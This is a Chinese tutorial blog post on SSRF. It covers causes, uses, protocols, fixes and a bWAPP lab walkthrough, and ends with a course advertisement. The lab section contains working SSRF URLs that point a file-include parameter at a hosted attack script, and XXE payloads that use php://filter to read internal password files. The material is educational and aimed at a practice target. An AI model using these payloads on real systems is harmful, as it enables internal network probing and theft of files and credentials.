ssrf漏洞

什么是ssrf?

ssrf(服务器端请求伪造)是一种由攻击者构造形成由服务器端发起请求的一个安全漏洞。一般情况下,ssrf是针对目标网站的内部系统。(因为他是从内部系统访问的,所以可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)。
漏洞成因:
ssrf形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档,等等。
在这里插入图片描述如:http://www.xx.com/a.php?image=http://192.168.0.109/xx.png
漏洞利用
内外网的端口和服务扫描
主机本地敏感数据的读取
内外网主机应用程序漏洞的利用
内外网web站点漏洞的利用
漏洞危害
探测内网服务及内网拓扑
向内部任意主机的任意端口发送精心构造的Payload
DOS攻击(请求大文件,始终保持连接Keep-Alive Always)
攻击内网的web应用,如xss,sql注入等
利用file、dict、gopher等协议读取本地文件等
SSRF常用协议
file协议可用于查看文件
dict协议可用于刺探端口
gopher协议支持GET/POST等请求,可用于攻击内网ftp、redis、telnet、smtp等服务
SSRF漏洞修补

  • 过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
  • 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
  • 限制请求的端口为http常用的端口,比如,80,443,8080,8090。
  • 黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
  • 禁用不需要的协议。仅仅允许http和https请求。可以防止类似file:///,gopher://,ftp:// 等引起的问题。

漏洞技巧
分享:通过URL地址分享网页内容
转码服务
在线翻译
图片加载与下载:通过URL地址加载或下载图片
图片、文章收藏功能
未公开的API实现以及其他调用URL的功能
从URL关键字中寻找
备注:个人觉得所有调外部资源的参数都有可能存在ssrf漏洞

SSRF实战

BWAPP(buggy web Application)是一个集成了常见漏洞的 web 应用程序,目的是作为漏洞测试的演练场(靶机),为 web 安全爱好者和开发人员提供一个测试平台,与 WEBGOAT、DVWA 类似。

BWAPP平台特点
开源的php应用
后台Mysql数据库
可运行在Linux/Windows Apache/IIS
支持WAMP或者XAMPP

BWAPP平台搭建
将源码放置在PHPstudy下面:
修改config.inc.php文件中的数据库连接信息,只修改数据库的用户名和密码就好
在本机地址:http://localhost/bwapp/install.php
点击下面的here进行安装
安装完成后选择login模块进行安装,默认密码bee/bug
项目下载地址:https://sourceforge.net/projects/bwapp/

任务一分析
http://localhost/evil/ssrf-1.txt //端口扫描脚本
http://localhost/bwapp/rlfi.php //关卡入口
http://localhost/bwapp/rlfi.php?language=lang_en.php&action=go //语言选择
http://localhost/bwapp/rlfi.php?language=http://192.168.1.46/bwapp/evil/ssrf-1.txt&action=go//构造SSRF攻击

任务二分析
先点击任务2中的Access得到XXE的利用脚本http://127.0.0.1/BWAPP/evil/ssrf-2.txt。然后访问XML External Entity Attacks (XXE)演练环境http://xxx.xxx.xxx/bWAPP/xxe-1.php使用burpSuite抓包并发送到repeater中进行测试。

案例代码:

# Accesses a file on the internal network 
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [<!ENTITY bWAPP SYSTEM "http://localhost/bWAPP/robots.txt"> ]> <reset><login>&bWAPP;</login><secret>blah</secret></reset> # Accesses a file on the internal network # Web pages returns some characters that break the XML schema > use the PHP base64 encoder filter to return an XML schema friendly version of the page! <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [<!ENTITY bWAPP SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml"> ]> <reset><login>&bWAPP;</login><secret>blah</secret></reset>

抓包实验
使用http协议获取/bWAPP/robots.txt的内容,然后尝试读取本地的a.txt
使用php协议获取/bWAPP/passwords/heroes.xml中的经过base64编码的数据
使用file协议获取bWAPP本机的a.txt的内容

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
程声明:该课程是教学使用,视频内涉及漏洞利用方法,请勿在互联网环境中使用;维护互联网安全,人人有责。实验所需环境:vmware;kali虚拟机一台;windows server一台;有docker环境的Linux虚拟机环境下载地址在购买课程后单独发送 【课程配套资源】1、Python脚本(Margin老师自研,不光能学漏洞,还能学Python,实在是划算)2、与Margin老师实时互动3、免费的CISP-PTE考试技巧指导(Margin老师与CISP-PTE的负责人很熟的,非常多的一手消息^o^)4、Margin老师的内部直播可以优先参加5、Margin老师的课程基于CISP-PTE的知识体系进一步扩展,使课程内容更贴近实战   【课程主要解决问题】1、CSRF、SSRF搞不清楚?2、SSRF原理是什么?危害大小?如何利用SSRF获取主机权限?如果使用Python提高挖洞效率?3、Gopher协议、Dict协议?完全没听过啊,没关系,看完课程后你门清。4、SSRF渗透Redis数据库,Redis客户端和服务器端怎么通信?通信报文是怎么样的?看这里就行。5、SSRF渗透Struts2总是失败?不知道如何编码?不知道如何使用Gopher协议?来这里。6、SSRF表面简单,实则有无数坑,通过视频提高学习效率吧。 【CISP-PTE介绍】1、CISP-PTE是进入网络安全行业的TOP1认证,能帮你梳理完整的网络安全知识体系2、有PTE证书在网络安全公司是免技术笔试的,怎么样?是不是很棒。3、Margin老师的课程基于CISP-PTE的知识体系进一步扩展,使课程内容更贴近实战本课程属于CISP-PTE渗透测试工程师认证体系的课程,但内容更加丰富。CISP-PTE是国内第一个以动手实操为主的网络安全认证,该注册考试是为了锻炼考生世界解决网络安全问题的能力,持续增强我国的网络安全水平和防御能力,促进国内网络防御能力的不断提高。考试内容从多个层面进行,考点和网络安全动态相结合,真实的反应出真实的网络环境中发现的各种问题。如果要考取CISP-PTE证书需要掌握以下内容:1、Web安全基础,注入漏洞、上传漏洞、跨站脚本漏洞、访问控制漏洞、会话管理漏洞哦等。2、中间件的安全知识,如:Apache,IIS,Tomcat,以及 JAVA 开发的中间件 Weblogic,Jboss, Websphere 等,且要了解中间件加固方法,在攻与防的能力上不断提升。3、操作系统安全,包含Windows和Linux操作系统,从账户管理、文件系统权限、日志审计等方面讲解,了解常见的漏洞方式和加固方法。4、数据库安全,包含MSSQL、MYSQL、ORACLE、REDIS数据,了解常用的数据库漏洞和题全方法,保证数据库的安全性。 【关于Margin老师】· Margin/教育系统网络安全保障人员认证首批讲师/高级讲师· 擅长CTF/Web安全/渗透测试 /系统安全· 3年研发/擅长Java/Python/某银行现金循环机业务系统开发者· 曾参与开发网络安全认证教材· 知乎专栏/CISP-PTE渗透测试工程师学习· 4年线下网络安全讲师/2000+线下学员/100000+线上学员

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值